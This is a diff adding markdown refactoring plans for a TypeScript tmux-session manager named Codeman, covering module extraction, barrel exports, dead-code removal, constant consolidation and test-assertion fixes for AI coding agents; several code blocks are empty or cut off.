+### Step 4a: Extract `SessionCliBuilder` (~250 LOC)
+
+**Pure functions — zero coupling to Session instance**.
+
+Move:
+- `buildClaudeArgs()` logic (currently inlined in `startInteractive` and `runPrompt`)
+- `buildOpenCodeArgs()` logic
+- Model mapping constants
+- Claude mode to flag mapping
+- Environment variable construction
+
+```typescript

+```
+
+### Step 4b: Extract `SessionAutoOps` (~300 LOC)
+
+**Self-contained automation with config-based thresholds**.
+
+Move properties:
+- `_autoCompactThreshold`

+- `_isAutoCompacting`
+- `_isAutoClearing`
+- `_autoCompactCount`
+- `_autoClearCount`

+- Auto-compact/clear threshold configuration
+
+```typescript

+
+// Events: 'autoCompact', 'autoClear'

+
+**In `Session`**: Compose and wire:

+);
+```
+
+### Step 4c: Extract `SessionTaskCache` (~100 LOC)
+
+**Isolated LRU cache for task descriptions**.
+
+Move:
+- `_taskDescriptionCache: LRUMap<number, { description: string; timestamp: number }>`
+- `_taskDescriptionMaxAge`
+- `findTaskDescriptionNear(lineNumber)`
+- `cacheTaskDescription(lineNumber, description)`
+
+```typescript
+export class SessionTaskCache {
+  private cache: LRUMap<number, { description: string; timestamp: number }>;
+  private maxAgeMs: number;
+
+  constructor(maxSize: number = 50, maxAgeMs: number = 30_000) { ... }
+
+  find(lineNumber: number, searchRadius: number = 50): string | null { ... }
+  add(lineNumber: number, description: string): void { ... }
+  clear(): void { ... }
+}
+```
+
+### Step 4d: Keep in `session.ts` (~1,600 LOC)
+
+The core stays together:
+- PTY process management (`spawn`, `kill`, `resize`, `writeViaMux`)
+- Data streaming pipeline (PTY → buffer → ANSI strip → JSON parse → events)
+- Tracker initialization and event forwarding (RalphTracker, BashToolParser, TaskTracker)
+- Output processing (message extraction, completion detection)
+- Token tracking (status line parsing)
+- State management (`toState()`, `updateState()`)
+- Session lifecycle (`startInteractive`, `startShell`, `runPrompt`)
+- CLI info detection (version, model, account)
+
+---
+
+## 5. Execution Order & Dependencies
+
+Execute in this order to minimize risk. Each step is independently deployable.
+
+```
+Step 1: types.ts split
+  ↓  (no runtime change, just file reorganization)
+Step 2a: RalphPlanTracker extraction
+  ↓  (independent of types split)
+Step 2b: RalphFixPlanWatcher extraction
+Step 2c: RalphStallDetector extraction
+Step 2d: RalphStatusParser extraction
+  ↓  (ralph-tracker.ts now ~1,800 LOC)
+Step 3a: RespawnPatterns extraction
+Step 3b: RespawnAdaptiveTiming extraction
+Step 3c: RespawnCycleMetrics extraction
+Step 3d: RespawnHealthCalculator extraction
+  ↓  (respawn-controller.ts now ~2,200 LOC)
+Step 4a: SessionCliBuilder extraction
+Step 4b: SessionAutoOps extraction
+Step 4c: SessionTaskCache extraction
+  ↓  (session.ts now ~1,600 LOC)
+```
+
+**Parallelization**: Steps 1, 2a-2d, 3a-3d, and 4a-4c can be done by separate agents in parallel since they touch different files. However, within each group, sequential execution is safer.
+
+### Risk Mitigation
+
+- **Barrel exports**: Every split uses delegation + barrel re-export so external consumers see zero API changes
+- **Event forwarding**: Sub-modules emit events, parent class forwards them — no event contract changes
+- **Incremental**: Each step can be verified independently with `tsc --noEmit` + `npm run lint`
+- **No test changes needed**: External API stays identical; existing tests continue to pass
+
+---
+
+## 6. Validation Checklist
+
+After each step, verify:
+
+- [ ] `tsc --noEmit` passes (no type errors)
+- [ ] `npm run lint` passes (no unused imports, etc.)
+- [ ] `npm run format:check` passes
+- [ ] `npx vitest run test/respawn-controller.test.ts` passes (for respawn splits)
+- [ ] `npx vitest run test/ralph-tracker.test.ts` passes (for ralph splits)
+- [ ] `npx vitest run test/session-manager.test.ts` passes (for session splits)
+- [ ] Dev server starts: `npx tsx src/index.ts web`
+- [ ] Existing sessions work (create, interact, delete)
+- [ ] Respawn cycle works (enable respawn, verify idle detection fires)
+- [ ] No new circular dependencies: `npx madge --circular src/`

+# Phase 1 Implementation Plan: Quick Wins
+
+**Source**: `docs/code-structure-findings.md` (Phase 1 - Quick Wins section)
+**Estimated effort**: 1-2 days
+**Tasks**: 5 independent tasks (can be done in parallel unless noted)
+
+---
+
+## Safety Constraints
+
+Before starting ANY work, read and follow these rules:
+
+1. **Never run `npx vitest run`** (full suite) -- it kills tmux sessions. You are running inside a Codeman-managed tmux session.
+2. **Run individual tests only**: `npx vitest run test/<file>.test.ts`
+3. **Never test on port 3000** -- the live dev server runs there. Tests use ports 3150+.
+4. **After TypeScript changes**: Run `tsc --noEmit` to verify type checking passes.
+5. **Before considering done**: Run `npm run lint` and `npm run format:check` to ensure CI passes.
+6. **Never kill tmux sessions** -- check `echo $CODEMAN_MUX` first.
+
+---
+
+## Task Dependencies
+
+All 5 tasks are independent and can be done in parallel. However:
+- Task 1 (barrel exports) is a prerequisite if you want to update import sites to use the barrel after Task 3 (consolidate EXEC_TIMEOUT_MS). The EXEC_TIMEOUT_MS consolidation creates a new export that should be added to the barrel.
+- Task 2 (delete dead functions) removes functions that Task 1 would otherwise need to add to the barrel. Do Task 2 first or simultaneously with Task 1 to avoid adding exports for dead code.
+
+**Recommended order**: Task 2 -> Task 1 -> Task 3 -> Task 4 -> Task 5
+
+---
+
+## Task 1: Export Missing Functions from Utils Barrel
+
+**File**: `src/utils/index.ts`
+**Time**: ~30 minutes
+
+### Problem
+
+The barrel file (`src/utils/index.ts`) is missing exports for several functions that are defined in util modules, forcing consumers to use deep imports or preventing usage entirely.
+
+### Missing Exports
+
+From `src/utils/regex-patterns.ts`:
+- `createAnsiPatternFull()` -- factory for fresh ANSI regex (documented in CLAUDE.md)
+- `createAnsiPatternSimple()` -- factory for fresh ANSI regex (documented in CLAUDE.md)
+- `stripAnsi()` -- ANSI stripping utility
+- `SAFE_PATH_PATTERN` -- regex for safe file paths (currently deep-imported by `schemas.ts` and `tmux-manager.ts`)
+
+From `src/utils/token-validation.ts`:
+- `validateTokenCounts()` -- token count validation (documented in CLAUDE.md)
+- `validateTokensAndCost()` -- token + cost validation (documented in CLAUDE.md)
+
+**Note**: Do NOT export `isSimilar`, `isSimilarByDistance`, `levenshteinDistance`, or `normalizePhrase` from `string-similarity.ts` -- these are dead code (see Task 2).
+
+### Edit 1: Add missing regex-patterns exports
+
+**File**: `src/utils/index.ts`
+
+**Old code** (lines 13-18):
+```typescript
+export {
+  ANSI_ESCAPE_PATTERN_FULL,
+  ANSI_ESCAPE_PATTERN_SIMPLE,
+  TOKEN_PATTERN,
+  SPINNER_PATTERN,
+} from './regex-patterns.js';
+```
+
+**New code**:
+```typescript
+export {
+  ANSI_ESCAPE_PATTERN_FULL,
+  ANSI_ESCAPE_PATTERN_SIMPLE,
+  TOKEN_PATTERN,
+  SPINNER_PATTERN,
+  createAnsiPatternFull,
+  createAnsiPatternSimple,
+  stripAnsi,
+  SAFE_PATH_PATTERN,
+} from './regex-patterns.js';
+```
+
+### Edit 2: Add missing token-validation exports
+
+**File**: `src/utils/index.ts`
+
+**Old code** (line 19):
+```typescript
+export { MAX_SESSION_TOKENS } from './token-validation.js';
+```
+
+**New code**:
+```typescript
+export { MAX_SESSION_TOKENS, validateTokenCounts, validateTokensAndCost } from './token-validation.js';
+```
+
+### Optional follow-up: Update deep imports to use barrel
+
+These files currently deep-import `SAFE_PATH_PATTERN` and could be updated to use the barrel instead:
+
+- `src/web/schemas.ts` line 11: `import { SAFE_PATH_PATTERN } from '../utils/regex-patterns.js';` could become `import { SAFE_PATH_PATTERN } from '../utils/index.js';`
+- `src/tmux-manager.ts` line 44: `import { SAFE_PATH_PATTERN } from './utils/regex-patterns.js';` could become part of existing barrel import
+
+This is a low-priority cosmetic change. The barrel export itself is the important fix.
+
+### Verification
+
+```bash
+tsc --noEmit
+npm run lint
+```
+
+---
+
+## Task 2: Delete Dead Utility Functions
+
+**File**: `src/utils/string-similarity.ts`
+**Time**: ~15 minutes
+
+### Problem
+
+Four exported functions in `string-similarity.ts` are never imported anywhere in the codebase:
+- `levenshteinDistance()` (lines 27-69)
+- `isSimilar()` (lines 106-108)
+- `isSimilarByDistance()` (lines 123-125)
+- `normalizePhrase()` (lines 139-144)
+
+Only three functions are actually used (all by `ralph-tracker.ts` via the barrel):
+- `stringSimilarity()` -- uses `levenshteinDistance()` internally
+- `fuzzyPhraseMatch()` -- uses `normalizePhrase()` and `isSimilarByDistance()` internally
+- `todoContentHash()`
+
+### Strategy
+
+`levenshteinDistance()` is called by `stringSimilarity()`, and `normalizePhrase()` and `isSimilarByDistance()` are called by `fuzzyPhraseMatch()`. So they cannot be deleted -- they just need to be un-exported (made private to the module).
+
+`isSimilar()` is truly dead -- not called by anything. Delete it entirely.
+
+### Edit 1: Remove `export` from `levenshteinDistance`
+
+**File**: `src/utils/string-similarity.ts`
+
+**Old code** (line 27):
+```typescript
+export function levenshteinDistance(a: string, b: string): number {
+```
+
+**New code**:
+```typescript
+function levenshteinDistance(a: string, b: string): number {
+```
+
+### Edit 2: Delete `isSimilar` function entirely
+
+**File**: `src/utils/string-similarity.ts`
+
+**Old code** (lines 94-108):
+```typescript
+/**
+ * Check if two strings are similar within a given threshold.
+ *
+ * @param a - First string
+ * @param b - Second string
+ * @param threshold - Minimum similarity ratio (default: 0.85 = 85% similar)
+ * @returns True if similarity >= threshold
+ *
+ * @example
+ * isSimilar('COMPLETE', 'COMPLET', 0.85)  // true (87.5% similar)
+ * isSimilar('COMPLETE', 'DONE', 0.85)     // false (0% similar)
+ */
+export function isSimilar(a: string, b: string, threshold = 0.85): boolean {
+  return stringSimilarity(a, b) >= threshold;
+}
+```
+
+**New code**: (delete entirely -- replace with empty string)
+
+### Edit 3: Remove `export` from `isSimilarByDistance`
+
+**File**: `src/utils/string-similarity.ts`
+
+**Old code** (line 123):
+```typescript
+export function isSimilarByDistance(a: string, b: string, maxDistance = 2): boolean {
+```
+
+**New code**:
+```typescript
+function isSimilarByDistance(a: string, b: string, maxDistance = 2): boolean {
+```
+
+### Edit 4: Remove `export` from `normalizePhrase`
+
+**File**: `src/utils/string-similarity.ts`
+
+**Old code** (line 139):
+```typescript
+export function normalizePhrase(phrase: string): string {
+```
+
+**New code**:
+```typescript
+function normalizePhrase(phrase: string): string {
+```
+
+### Verification
+
+```bash
+tsc --noEmit
+npx vitest run test/string-utilities.test.ts
+npm run lint
+```
+
+Note: If `test/string-utilities.test.ts` imports any of the now-unexported functions, those test imports will fail. Check the test file and remove tests for `isSimilar` (deleted) and update any direct tests for `levenshteinDistance`, `isSimilarByDistance`, `normalizePhrase` to test them indirectly through the public API (`stringSimilarity`, `fuzzyPhraseMatch`), or remove those tests.

+
+## Task 3: Consolidate Duplicated `EXEC_TIMEOUT_MS` Constant
+
+**Files**:
+- `src/utils/claude-cli-resolver.ts` (line 17)
+- `src/utils/opencode-cli-resolver.ts` (line 16)
+- `src/tmux-manager.ts` (line 63) -- also has its own copy
+
+**Time**: ~15 minutes
+
+### Problem
+
+`EXEC_TIMEOUT_MS = 5000` is defined identically in three files. Changes need to happen in all three places.
+
+### Strategy
+
+Create a shared constant and export it. The natural home is a new config file since the existing config files (`buffer-limits.ts`, `map-limits.ts`) follow this pattern. However, to keep it minimal, we can add it to an existing config file or create a small one.
+
+**Recommended approach**: Add to `src/config/timing-config.ts` (new file) as a single constant. This file can grow later in Phase 6 to hold other timing constants.
+
+Alternatively, the simplest approach: export from one of the existing utils and import in the others. Since both CLI resolvers are in `src/utils/`, the cleanest approach is to put it in a shared location.
+
+### Option A: Add to existing config (simpler)
+
+Create `src/config/exec-timeout.ts`:
+
+**New file**: `src/config/exec-timeout.ts`
+```typescript
+/**
+ * Timeout for child process exec commands (e.g., `which claude`, `which opencode`, tmux commands).
+ * Used across CLI resolvers and tmux manager.
+ */
+export const EXEC_TIMEOUT_MS = 5000;
+```
+
+### Edit 1: Update `claude-cli-resolver.ts`
+
+**File**: `src/utils/claude-cli-resolver.ts`
+
+**Old code** (lines 11-17):
+```typescript
+import { execSync } from 'node:child_process';
+import { existsSync } from 'node:fs';
+import { delimiter, dirname, join } from 'node:path';
+import { homedir } from 'node:os';
+
+/** Timeout for exec commands (5 seconds) */
+const EXEC_TIMEOUT_MS = 5000;
+```
+
+**New code**:
+```typescript
+import { execSync } from 'node:child_process';
+import { existsSync } from 'node:fs';
+import { delimiter, dirname, join } from 'node:path';
+import { homedir } from 'node:os';
+import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js';
+```
+
+### Edit 2: Update `opencode-cli-resolver.ts`
+
+**File**: `src/utils/opencode-cli-resolver.ts`
+
+**Old code** (lines 10-16):
+```typescript
+import { execSync } from 'node:child_process';
+import { existsSync } from 'node:fs';
+import { dirname, join } from 'node:path';
+import { homedir } from 'node:os';
+
+/** Timeout for exec commands (5 seconds) */
+const EXEC_TIMEOUT_MS = 5000;
+```
+
+**New code**:
+```typescript
+import { execSync } from 'node:child_process';
+import { existsSync } from 'node:fs';
+import { dirname, join } from 'node:path';
+import { homedir } from 'node:os';
+import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js';
+```
+
+### Edit 3: Update `tmux-manager.ts`
+
+**File**: `src/tmux-manager.ts`
+
+**Old code** (line 63):
+```typescript
+const EXEC_TIMEOUT_MS = 5000;
+```
+
+**New code**:
+```typescript
+import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js';
+```
+
+Note: `tmux-manager.ts` already has many imports at the top of the file. Add this import near the other local imports (around lines 43-56). The `const EXEC_TIMEOUT_MS = 5000;` on line 63 should be deleted entirely (replaced with the import).
+
+### Verification
+
+```bash
+tsc --noEmit
+npm run lint
+```
+

+
+## Task 4: Add `z.infer` to Zod Schemas
+
+**Files**:
+- `src/web/schemas.ts` (add type exports)
+- `src/types.ts` (replace manual interfaces with `z.infer` re-exports where applicable)
+
+**Time**: ~2 hours
+
+### Problem
+
+All 30+ Zod schemas in `schemas.ts` define validation rules, but zero use `z.infer` to derive TypeScript types. Instead, `types.ts` manually duplicates interfaces that match the schemas. When a schema changes, the type must be manually updated too.
+
+### Strategy
+
+Add `z.infer` type exports to `schemas.ts` for each exported schema. This creates derived types as the single source of truth. For schemas that have corresponding manual interfaces in `types.ts`, the manual interface can be replaced with a re-export of the inferred type.
+
+**Important**: Not all schemas have matching interfaces in `types.ts`. The `RespawnConfig` interface in `types.ts` (line 395) has all required fields, while `RespawnConfigSchema` has all optional fields (it's for partial updates). These are NOT the same type and should NOT be unified.
+
+### Edit 1: Add inferred type exports to `schemas.ts`
+
+**File**: `src/web/schemas.ts`
+
+After each schema definition, add a corresponding type export. Add the following lines at the **end of the file** (after line 509):
+
+**Old code** (end of file, lines 506-509):
+```typescript
+    .optional(),
+});
+```
+
+Wait -- the end of file is actually at line 509 after the `RalphLoopStartSchema`. Add the type exports after the last schema:
+
+**Append to end of file** `src/web/schemas.ts`:
+
+```typescript
+
+// ========== Inferred Types ==========
+// Derive TypeScript types from Zod schemas (single source of truth)
+
+export type CreateSessionInput = z.infer<typeof CreateSessionSchema>;
+export type RunPromptInput = z.infer<typeof RunPromptSchema>;
+export type ResizeInput = z.infer<typeof ResizeSchema>;
+export type CreateCaseInput = z.infer<typeof CreateCaseSchema>;
+export type QuickStartInput = z.infer<typeof QuickStartSchema>;
+export type HookEventInput = z.infer<typeof HookEventSchema>;
+export type RespawnConfigInput = z.infer<typeof RespawnConfigSchema>;
+export type ConfigUpdateInput = z.infer<typeof ConfigUpdateSchema>;
+export type SettingsUpdateInput = z.infer<typeof SettingsUpdateSchema>;
+export type SessionInputWithLimitInput = z.infer<typeof SessionInputWithLimitSchema>;
+export type SessionNameInput = z.infer<typeof SessionNameSchema>;
+export type SessionColorInput = z.infer<typeof SessionColorSchema>;
+export type RalphConfigInput = z.infer<typeof RalphConfigSchema>;
+export type FixPlanImportInput = z.infer<typeof FixPlanImportSchema>;
+export type RalphPromptWriteInput = z.infer<typeof RalphPromptWriteSchema>;
+export type AutoClearInput = z.infer<typeof AutoClearSchema>;
+export type AutoCompactInput = z.infer<typeof AutoCompactSchema>;
+export type ImageWatcherInput = z.infer<typeof ImageWatcherSchema>;
+export type FlickerFilterInput = z.infer<typeof FlickerFilterSchema>;
+export type QuickRunInput = z.infer<typeof QuickRunSchema>;
+export type ScheduledRunInput = z.infer<typeof ScheduledRunSchema>;
+export type LinkCaseInput = z.infer<typeof LinkCaseSchema>;
+export type GeneratePlanInput = z.infer<typeof GeneratePlanSchema>;
+export type GeneratePlanDetailedInput = z.infer<typeof GeneratePlanDetailedSchema>;
+export type CancelPlanInput = z.infer<typeof CancelPlanSchema>;
+export type PlanTaskUpdateInput = z.infer<typeof PlanTaskUpdateSchema>;
+export type PlanTaskAddInput = z.infer<typeof PlanTaskAddSchema>;
+export type CpuLimitInput = z.infer<typeof CpuLimitSchema>;
+export type SubagentWindowStatesInput = z.infer<typeof SubagentWindowStatesSchema>;
+export type SubagentParentMapInput = z.infer<typeof SubagentParentMapSchema>;
+export type InteractiveRespawnInput = z.infer<typeof InteractiveRespawnSchema>;
+export type RespawnEnableInput = z.infer<typeof RespawnEnableSchema>;
+export type PushSubscribeInput = z.infer<typeof PushSubscribeSchema>;
+export type PushPreferencesUpdateInput = z.infer<typeof PushPreferencesUpdateSchema>;
+export type RalphLoopStartInput = z.infer<typeof RalphLoopStartSchema>;
+```
+
+### What NOT to do
+
+Do NOT replace the `RespawnConfig` interface in `types.ts` with `z.infer<typeof RespawnConfigSchema>`. The schema has all optional fields (for partial config updates), but the interface has required fields (for the full config object). These are intentionally different shapes.
+
+Similarly, do NOT try to unify every interface in `types.ts` with a schema -- most interfaces in `types.ts` represent internal domain objects (SessionState, TaskState, etc.) that have no corresponding Zod schema. The schemas only exist for API request validation.
+
+### Future opportunity
+
+In a future phase, route handlers in `server.ts` can use these inferred types for request body typing:
+```typescript
+const body = CreateSessionSchema.parse(request.body) as CreateSessionInput;
+```
+This task only adds the type exports. Migrating route handlers to use them is out of scope.
+
+### Verification
+
+```bash
+tsc --noEmit
+npm run lint
+npm run format:check
+```

+## Task 5: Fix Weak `not.toThrow()` Tests with Behavioral Assertions
+
+**Files**:
+- `test/task-tracker.test.ts` -- 6 instances
+- `test/image-watcher.test.ts` -- 1 instance
+- `test/task-queue.test.ts` -- 1 instance
+- `test/hooks-config.test.ts` -- 1 instance
+- `test/session-manager.test.ts` -- 1 instance
+
+**Time**: ~1 hour
+
+### Problem
+
+10 tests only assert `not.toThrow()` without verifying the actual defensive behavior. These tests prove the code doesn't crash but don't verify it does the right thing.
+
+### Fix Strategy
+
+After each `not.toThrow()`, add a behavioral assertion that verifies the state is correct (e.g., no tasks were created, no side effects occurred).
+
+### Edit 1: `task-tracker.test.ts` -- null message (line 566)

+### Edit 6: `image-watcher.test.ts` -- unwatchSession for non-watched session (line 123)
+
+**File**: `test/image-watcher.test.ts`
+
+**Old code**:
+```typescript
+    it('should be safe to call for non-watched session', () => {
+      expect(() => watcher.unwatchSession('nonexistent')).not.toThrow();
+    });

+      expect(watcher.getWatchedSessions()).toHaveLength(0);
+    });
+```
+
+### Edit 7: `task-queue.test.ts` -- dependencies on non-existent tasks (lines 538-542)
+
+**File**: `test/task-queue.test.ts`
+
+**Old code**:
+```typescript
+  it('should allow dependencies on non-existent tasks (just unsatisfied, not a cycle)', () => {

+
+Wait -- `queue.next()` returns `null` when no next task is available (all blocked). Let me adjust:
+
+**New code** (corrected):
+```typescript

+    expect(queue.next()).toBeNull();
+  });
+```
+
+### Edit 8: `hooks-config.test.ts` -- valid JSON check (line 129)
+
+**File**: `test/hooks-config.test.ts`
+
+**Old code**:
+```typescript
+  it('should write valid JSON', () => {
+    writeHooksConfig(testDir);
+    const settingsPath = join(testDir, '.claude', 'settings.local.json');
+    const content = readFileSync(settingsPath, 'utf-8');
+    expect(() => JSON.parse(content)).not.toThrow();

+    expect(parsed).toBeDefined();
+    expect(typeof parsed).toBe('object');
+    expect(parsed.hooks).toBeDefined();
+  });
+```
+
+### Edit 9: `session-manager.test.ts` -- stopSession for non-existent (line 216)
+
+**File**: `test/session-manager.test.ts`
+
+**Old code**:
+```typescript
+    it('should handle non-existent session gracefully', async () => {
+      await expect(manager.stopSession('non-existent')).resolves.not.toThrow();
+    });
+```

+```
+
+### Verification
+
+Run each test file individually:
+
+```bash
+npx vitest run test/task-tracker.test.ts
+npx vitest run test/image-watcher.test.ts
+npx vitest run test/task-queue.test.ts
+npx vitest run test/hooks-config.test.ts
+npx vitest run test/session-manager.test.ts
+```
+
+**Important**: `hooks-config.test.ts` and `session-manager.test.ts` spawn real servers on ports 3130-3131. Only run them if you are NOT running other tests that use those ports.
+
+---
+
+## Final Verification Checklist
+
+After all 5 tasks are complete, run the following in order:
+
+```bash
+# 1. TypeScript type checking
+tsc --noEmit
+
+# 2. Linting
+npm run lint
+
+# 3. Formatting
+npm run format:check
+
+# 4. Run affected test files individually (NOT the full suite)
+npx vitest run test/string-utilities.test.ts
+npx vitest run test/task-tracker.test.ts
+npx vitest run test/image-watcher.test.ts
+npx vitest run test/task-queue.test.ts
+npx vitest run test/session-manager.test.ts
+npx vitest run test/hooks-config.test.ts
+```
+
+If any formatting issues arise, fix with:
+```bash
+npm run format
+```
+
+If any lint issues arise, fix with:
+```bash
+npm run lint:fix
+```

+# Phase 6 Implementation Plan: Config Consolidation
+
+**Source**: `docs/code-structure-findings.md` (Phase 6 — Config Consolidation)
+**Estimated effort**: 1 day
+**Tasks**: 8 tasks with dependencies (see dependency graph below)
+
+---
+
+## Safety Constraints
+
+Before starting ANY work, read and follow these rules:
+
+1. **Never run `npx vitest run`** (full suite) — it kills tmux sessions. You are running inside a Codeman-managed tmux session.
+2. **Run individual tests only**: `npx vitest run test/<file>.test.ts`
+3. **Never test on port 3000** — the live dev server runs there. Tests use ports 3150+.
+4. **After TypeScript changes**: Run `tsc --noEmit` to verify type checking passes.
+5. **Before considering done**: Run `npm run lint` and `npm run format:check` to ensure CI passes.
+6. **Never kill tmux sessions** — check `echo $CODEMAN_MUX` first.
+7. **Verify the dev server starts**: After each task, run `npx tsx src/index.ts web --port 3099 &` on a non-production port, confirm `curl -s http://localhost:3099/api/status | jq .status` returns `"ok"`, then kill the background process.
+
+---
+
+## Goal
+
+Consolidate ~70 scattered numeric constants from 15+ source files into 6 new domain-focused config files, eliminating cross-file duplicates (including a 5x-duplicated AI model string) and making all tuning knobs discoverable in `src/config/`.
+
+**Non-goal**: Moving every constant. Module-internal implementation details (like regex patterns, algorithm-specific magic numbers, or constants only used once in deeply coupled logic) stay where they are. The goal is discoverability of operational tuning knobs, not mechanical relocation.
+
+---
+
+## Design Decisions
+
+### What gets centralized (and why)
+
+Constants are candidates for centralization when they meet **any** of these criteria:
+
+1. **Duplicated across files** — DRY violation (e.g., `STATS_COLLECTION_INTERVAL_MS` in `server.ts` and `mux-routes.ts`, AI model string in 5 files)
+2. **Operational tuning knobs** — values an operator might want to adjust for performance, security, or behavior without understanding the implementation (e.g., SSE health check interval, auth session TTL, rate limits)
+3. **Cross-cutting concerns** — values that establish system-wide contracts (e.g., max terminal dimensions used by both server routes and frontend)
+
+### What stays in place (and why)
+
+Constants that are **internal implementation details** of a single module stay where they are:
+
+- **Algorithm parameters** — `TODO_SIMILARITY_THRESHOLD`, `adaptiveCompletionConfirmMs`, confidence weights. These are meaningless without understanding the algorithm.
+- **Display/UI formatting** — `TEXT_PREVIEW_LENGTH`, `SMART_TITLE_MAX_LENGTH`, `COMMAND_DISPLAY_LENGTH` in `subagent-watcher.ts`. Only used locally, tightly coupled to rendering logic.
+- **Module-internal timing** — `LINE_BUFFER_FLUSH_INTERVAL` in `session.ts`, `AI_CHECK_POLL_INTERVAL` in `ai-checker-base.ts`. Internal implementation of specific features.
+- **Frontend constants** — `constants.js` already centralizes frontend values well. Don't mix frontend and backend config.
+- **Respawn `DEFAULT_CONFIG`** — these are user-configurable defaults for the respawn config interface, not system constants. They live properly in `respawn-controller.ts`. The AI model/context defaults within it are replaced with imports from the new `ai-defaults.ts` (Task 5).
+- **Session auto-ops thresholds** — `AUTO_RETRY_DELAY_MS`, `COMPACT_COOLDOWN_MS`, etc. in `session-auto-ops.ts` are internal to that module's retry logic and already well-documented in place.
+
+### File organization: domain-based, not category-based
+
+A single `timing-config.ts` with 70 unrelated timing values would be worse than the current state — developers would need to grep it just like they grep the whole codebase now. Instead, constants are grouped by **the system they configure**:
+
+| New File | Domain | Developer Question It Answers |
+|----------|--------|-------------------------------|
+| `server-timing.ts` | Web server performance | "How do I tune SSE batching / terminal throughput?" |
+| `auth-config.ts` | Authentication & security | "What are the rate limits and session TTLs?" |
+| `tunnel-config.ts` | QR auth & Cloudflare tunnel | "What are the QR token rotation parameters?" |
+| `terminal-limits.ts` | Terminal dimensions & input | "What are the max cols/rows/input size?" |
+| `ai-defaults.ts` | AI checker model & context | "What model do the AI checkers use? What's the context limit?" |
+| `team-config.ts` | Agent Teams polling & caching | "How often does team polling run? What are the cache limits?" |
+
+---
+
+## Task Dependencies

+Task 1 (server-timing.ts)
+Task 2 (auth-config.ts)

+
+## Task 1: Create `src/config/server-timing.ts`
+
+**Estimated effort**: 30 minutes
+**Files created**: `src/config/server-timing.ts`
+**Files modified**: `src/web/server.ts`, `src/web/routes/mux-routes.ts`
+
+### Constants to extract from `src/web/server.ts`
+
+| Constant | Value | Purpose |
+|----------|-------|---------|
+| `TERMINAL_BATCH_INTERVAL` | `16` | Terminal data batching interval (60fps) |
+| `TASK_UPDATE_BATCH_INTERVAL` | `100` | Task event batching interval (ms) |
+| `STATE_UPDATE_DEBOUNCE_INTERVAL` | `500` | State persistence debounce (ms) |
+| `SESSIONS_LIST_CACHE_TTL` | `1000` | Sessions list cache TTL (ms) |
+| `SCHEDULED_CLEANUP_INTERVAL` | `300000` | Scheduled runs cleanup check (5 min) |
+| `SCHEDULED_RUN_MAX_AGE` | `3600000` | Completed scheduled run max age (1 hour) |
+| `SSE_HEALTH_CHECK_INTERVAL` | `30000` | SSE client health check (30s) |
+| `SESSION_LIMIT_WAIT_MS` | `5000` | Session limit retry wait (5s) |
+| `ITERATION_PAUSE_MS` | `2000` | Scheduled run iteration pause (2s) |
+| `BATCH_FLUSH_THRESHOLD` | `32768` | Terminal batch immediate flush threshold (32KB) |
+| `STATS_COLLECTION_INTERVAL_MS` | `2000` | Mux stats collection interval (2s) |
+
+### Implementation
+
+1. Create `src/config/server-timing.ts` with all 11 constants, preserving existing JSDoc comments.
+2. In `src/web/server.ts`: Remove the 11 local constant declarations (lines ~92–121). Add `import { TERMINAL_BATCH_INTERVAL, ... } from '../config/server-timing.js'`.
+3. In `src/web/routes/mux-routes.ts`: Remove the duplicate `STATS_COLLECTION_INTERVAL_MS` (line 10) and its comment. Add `import { STATS_COLLECTION_INTERVAL_MS } from '../../config/server-timing.js'`. This fixes a **duplicate constant** (finding #10).
+4. Run `tsc --noEmit`.
+

+## Task 2: Create `src/config/auth-config.ts`
+
+**Estimated effort**: 20 minutes
+**Files created**: `src/config/auth-config.ts`
+**Files modified**: `src/web/middleware/auth.ts`, `src/hooks-config.ts`
+
+### Constants to extract from `src/web/middleware/auth.ts`
+
+| Constant | Value | Purpose |
+|----------|-------|---------|
+| `AUTH_SESSION_TTL_MS` | `86400000` | Auth session cookie TTL (24h) |

+
+The `timeout: 10000` value is hardcoded 6 times in `hooks-config.ts` as inline literals. Extract to a single named constant.
+
+### Implementation
+
+1. Create `src/config/auth-config.ts` with the 5 constants.
+2. In `src/web/middleware/auth.ts`: Remove the 4 local constant declarations (lines 17–25). Add import from `../../config/auth-config.js`. Keep `AUTH_COOKIE_NAME` in place — it's a string identifier, not a tunable numeric constant.
+3. In `src/hooks-config.ts`: Replace all 6 inline `timeout: 10000` occurrences with `timeout: HOOK_TIMEOUT_MS`. Add import from `./config/auth-config.js`.

+| `FORCE_KILL_MS` | `5000` | SIGTERM → SIGKILL escalation timeout (5s) |
+
+### Implementation
+
+1. Create `src/config/tunnel-config.ts` with all 8 constants.
+2. In `src/tunnel-manager.ts`: Remove the 8 local constant declarations (lines ~39–75). Add `import { QR_TOKEN_TTL_MS, ... } from './config/tunnel-config.js'`.
+3. Keep the `TUNNEL_URL_REGEX` in `tunnel-manager.ts` — it's a parsing detail, not a tuning knob.
+4. Run `tsc --noEmit`.

+
+### Constants to extract from `src/web/routes/session-routes.ts`

+| `MAX_TERMINAL_ROWS` | `200` | Max terminal rows |
+| `MAX_SESSION_NAME_LENGTH` | `128` | Max session name length (chars) |
+
+### Why a separate file instead of adding to `buffer-limits.ts`
+
+`buffer-limits.ts` covers memory buffer sizes (2MB terminal, 1MB text). These constants are **validation limits** for API inputs — different concern. A terminal resize request must not exceed `MAX_TERMINAL_COLS`; this has nothing to do with buffer trimming.
+
+### Implementation
+
+1. Create `src/config/terminal-limits.ts` with all 4 constants.
+2. In `src/web/routes/session-routes.ts`: Remove the 4 local constant declarations (lines 45–48). Add `import { MAX_INPUT_LENGTH, MAX_TERMINAL_COLS, MAX_TERMINAL_ROWS, MAX_SESSION_NAME_LENGTH } from '../../config/terminal-limits.js'`.
+3. Run `tsc --noEmit`.

+
+### Problem: AI model string duplicated 5 times
+
+The model identifier `'claude-opus-4-5-20251101'` appears in 5 places across 4 files. When the model changes, all 5 must be updated — a guaranteed source of bugs. The context limits (`16000`, `8000`) are similarly scattered across 3 files each.

+| `AI_CHECK_MODEL` | `'claude-opus-4-5-20251101'` | `respawn-controller.ts` (×2: idle + plan), `ai-idle-checker.ts`, `ai-plan-checker.ts`, `respawn-routes.ts` (×2: idle + plan) |
+| `AI_IDLE_CHECK_MAX_CONTEXT` | `16000` | `respawn-controller.ts`, `ai-idle-checker.ts`, `respawn-routes.ts` |
+| `AI_PLAN_CHECK_MAX_CONTEXT` | `8000` | `respawn-controller.ts`, `ai-plan-checker.ts`, `respawn-routes.ts` |
+
+### Implementation
+
+1. Create `src/config/ai-defaults.ts` with the 3 constants.
